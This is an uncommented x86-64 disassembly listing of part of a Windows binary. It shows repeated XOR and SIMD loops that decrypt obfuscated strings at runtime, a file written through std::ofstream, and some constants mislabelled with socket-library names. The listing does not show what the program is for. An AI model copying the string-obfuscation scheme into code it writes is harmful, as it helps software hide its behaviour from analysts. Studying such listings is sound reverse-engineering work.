mov dword [rbp + 0x1bc], 0x43340000
lea rcx, [rbp + 0x1b8]
call fcn.140047270
cmp byte [0x1401481fb], 0
je 0x14007a8b8
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
jmp 0x14007a8cd
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140042810
cmp byte [0x1401481fb], 0
je 0x14007a8f7
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
jmp 0x14007a90c
movaps xmm0, xmmword [0x140120ab0]
movups xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140042810
cmp byte [0x1401481fb], 0
je 0x14007a936
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
jmp 0x14007a94b
movaps xmm0, xmmword [0x140120aa0]
movups xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140042810
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, 5
call fcn.140042810
movaps xmm1, xmm9
mov ecx, reloc.WS2_32.dll_listen
call fcn.140042900
mov dword [rbp + 0x1c0], 0x42c80000
mov dword [rbp + 0x1c4], 0x42700000
movups xmm0, xmmword [0x140120680]
movups xmmword [rbp + 0x570], xmm0
movzx eax, byte [0x140120690]
mov byte [rbp + 0x580], al
mov r8d, esi
cmp r15d, 2
jl 0x14007aafd
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007a9f0
cmp r8d, 0x11
jge 0x14007ab43
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007ab10
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x570]
call fcn.1400659c0
test al, al
je 0x14007ab79
mov dword [0x1401481f0], 2
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401481fa], 0
mov byte [0x1401481fb], 1
movaps xmm0, xmm8
call fcn.1400479a0
mov dword [rbp + 0x1c8], 0x40000000
mov dword [rbp + 0x1cc], 0x42480000
lea rcx, [rbp + 0x1c8]
call fcn.140047270
mov eax, dword [0x1401481f0]
test eax, eax
jne 0x14007cf5f
movaps xmm0, xmmword [0x140120ac0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
lea ecx, [rax + 0x15]
call fcn.140042810
movaps xmm0, xmmword [0x140120ac0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140042810
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140042810
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, 5
call fcn.140042810
movaps xmm1, xmm9
mov ecx, reloc.WS2_32.dll_listen
call fcn.140042900
mov dword [rbp + 0x1d0], 0x42f40000
mov dword [rbp + 0x1d4], 0x42820000
lea rcx, [rbp + 0x1d0]
call fcn.140047270
movups xmm0, xmmword [str.nWLHerXI]
movups xmmword [rbp + 0x550], xmm0
mov eax, dword [0x1401206a8]
mov dword [rbp + 0x560], eax
movzx eax, word [0x1401206ac]
mov word [rbp + 0x564], ax
cmp byte [0x1401206ad], 0
je 0x14007ae03
mov r8d, esi
cmp r15d, 2
jl 0x14007adbe
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007acb1
cmp r8d, 0x16
jge 0x14007ae03
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14007add0
lea rcx, [rbp + 0x550]
call fcn.14006e260
mov dword [rbp + 0x1d8], 0x42f40000
mov dword [rbp + 0x1dc], 0x42aa0000
lea rcx, [rbp + 0x1d8]
call fcn.140047270
movss xmm0, dword [0x140120a5c]
call fcn.140047510
movss xmm0, dword [0x140120a54]
call fcn.1400479a0
mov r9d, reloc.WLDAP32.dll_Ordinal_32
cmp byte [0x140148224], 0
cmovne r9d, esi
movsd xmm0, qword [0x1401206b0]
movsd qword [rbp - 8], xmm0
movzx eax, byte [0x1401206b8]
mov byte [rbp - 8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 7], 0x38
xor byte [rbp - 6], 0x39
xor byte [rbp - 5], 0x3a
xor byte [rbp - 4], 0x3b
xor byte [rbp - 3], 0x3c
xor byte [rbp - 2], 0x3d
xor byte [rbp - 1], 0x3e
xor al, 0x3f
mov byte [rbp], al
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r8d, Ordinal_41
lea rdx, [0x140148200]
lea rcx, [rbp - 8]
call fcn.140066e30
cmp byte [0x140148224], 0
jne 0x14007b301
mov rax, 0xffffffffffffffff
lea rcx, [0x140148200]
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14007aed0
test rax, rax
jne 0x14007b301
call fcn.14003adb0
mov rdi, rax
lea rcx, [rbp + 0x5c0]
call fcn.14003a490
call fcn.140039fe0
mov r10, rax
movsd xmm0, qword [0x1401206c0]
movsd qword [rbp + 0xd8], xmm0
mov ecx, dword [0x1401206c8]
mov dword [rbp + 0xe0], ecx
movzx ecx, byte [0x1401206cc]
mov byte [rbp + 0xe4], cl
mov r8d, esi
cmp r15d, 2
jl 0x14007b044
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401206c0]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007b060
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x140120a60]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm12
movss xmm2, dword [r10 + 0x14]
lea rdx, [rbp + 0x598]
mov rcx, r10
call fcn.140051820
movss xmm7, dword [rbp + 0x5c0]
addss xmm7, xmm13
call fcn.14003ab40
movss xmm6, dword [rbp + 0x5c4]
addss xmm6, dword [rax + 0x40]
call fcn.14003ab50
subss xmm0, dword [rbp + 0x59c]
mulss xmm0, xmm14
addss xmm0, xmm6
movss dword [rbp + 0x5a8], xmm7
movss dword [rbp + 0x5ac], xmm0
movups xmm0, xmmword [0x1401206d0]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x1401206e0]
movups xmmword [rbp + 0x30], xmm1
movsd xmm0, qword [0x1401206f0]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x1401206f8]
mov word [rbp + 0x48], ax
mov r8d, esi
cmp r15d, 2
jl 0x14007b28d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14007b180
cmp r8d, 0x2a
jge 0x14007b2d3
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14007b2a0
movaps xmm1, xmm8
mov ecx, 1
call fcn.140039ee0
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x20]
mov r8d, eax
lea rdx, [rbp + 0x5a8]
mov rcx, rdi
call fcn.140051080
mov edi, 1
xor ecx, ecx
call fcn.14003bdb0
mov byte [0x140148224], al
movaps xmm0, xmm8
call fcn.1400479a0
mov dword [rbp + 0x1e0], 0x431b0000
mov dword [rbp + 0x1e4], 0x430c0000
lea rcx, [rbp + 0x1e0]
call fcn.140047270
mov dword [rbp + 0x1e8], 0x43480000
mov dword [rbp + 0x1ec], 0x41f00000
movsd xmm0, qword [str.p_W_I_I__]
movsd qword [rbp + 0x538], xmm0
movzx eax, byte [0x140120708]
mov byte [rbp + 0x538], 0x47
xor byte [rbp + 0x539], 0x38
xor byte [rbp + 0x53a], 0x39
xor byte [rbp + 0x53b], 0x3a
xor byte [rbp + 0x53c], 0x3b
xor byte [rbp + 0x53d], 0x3c
xor byte [rbp + 0x53e], 0x3d
xor byte [rbp + 0x53f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x540], al
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x538]
call fcn.1400659c0
test al, al
je 0x14007b692
lea rcx, [rbp + 0x570]
call fcn.140077e10
nop
lea rdx, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rdx, qword [rbp + 0x570]
mov r8d, Ordinal_35
lea rcx, [0x140148200]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [0x140148222], 0x2e
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x5d0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140120710]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x140120720]
movsd qword [rbp + 0x560], xmm0
movzx eax, word [0x140120728]
mov word [rbp + 0x568], ax
movzx eax, byte [0x14012072a]
mov byte [rbp + 0x56a], al
mov r8d, esi
cmp r15d, 2
jl 0x14007b59d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007b490
cmp r8d, 0x1b
jge 0x14007b5e3
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14007b5b0
mov dword [rsp + 0x20], edi
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x5d0]
call fcn.14001b460
nop
lea rdx, [0x140148200]
lea rcx, [rbp + 0x5d0]
call fcn.14001fd20
nop
mov rax, qword [rbp + 0x5d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5cc], edx
lea rcx, [rbp + 0x5d8]
call fcn.14001c170
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x678]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov r8, qword [rbp + 0x588]
cmp r8, 0xf
jbe 0x14007b692
mov rdx, qword [rbp + 0x570]
lea rcx, [rbp + 0x570]
call fcn.14007fda0
mov dword [rbp + 0x1f0], 0x43b68000
mov dword [rbp + 0x1f4], 0x43120000
lea rcx, [rbp + 0x1f0]
call fcn.140047270
mov eax, dword [0x14012072c]
mov dword [rsp + 0x68], eax
cmp byte [str.:p_W_I_I_], 0
je 0x14007b793
cmp r15d, 2
jl 0x14007b755
movdqa xmm3, xmmword [0x1401311e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140120af0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140120af0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140120a80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x14007b793
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007b760
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
xor ecx, ecx
call fcn.14003bf00
test al, al
je 0x14007b98c
movups xmm0, xmmword [0x140120730]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x140120740]
movups xmmword [rbp + 0x30], xmm1
mov eax, dword [0x140120750]
mov dword [rbp + 0x40], eax
movzx eax, word [0x140120754]
mov word [rbp + 0x44], ax
movzx eax, byte [0x140120756]
mov byte [rbp + 0x46], al
mov r8d, esi
cmp r15d, 2
jl 0x14007b93d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007b830
cmp r8d, 0x27
jge 0x14007b983
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14007b950
lea rcx, [rbp + 0x20]
call fcn.140047800
mov dword [rbp + 0x1f8], 0x43b68000
mov dword [rbp + 0x1fc], 0x433a0000
lea rcx, [rbp + 0x1f8]
call fcn.140047270
mov eax, dword [0x140120758]
mov dword [rsp + 0x68], eax
cmp byte [0x14012075b], 0
je 0x14007ba93
cmp r15d, 2
jl 0x14007ba4f
movdqa xmm3, xmmword [0x1401311e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140120af0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140120af0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140120a80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x14007ba93
lea r9, [rsp + 0x68]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007ba60
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
xor ecx, ecx
call fcn.14003bf00
test al, al
je 0x14007bc9f
movups xmm0, xmmword [0x140120760]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x140120770]
movsd qword [rbp + 0x560], xmm0
mov eax, dword [0x140120778]
mov dword [rbp + 0x568], eax
movzx eax, word [0x14012077c]
mov word [rbp + 0x56c], ax
movzx eax, byte [0x14012077e]
mov byte [rbp + 0x56e], al
mov r8d, esi
cmp r15d, 2
jl 0x14007bc4d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
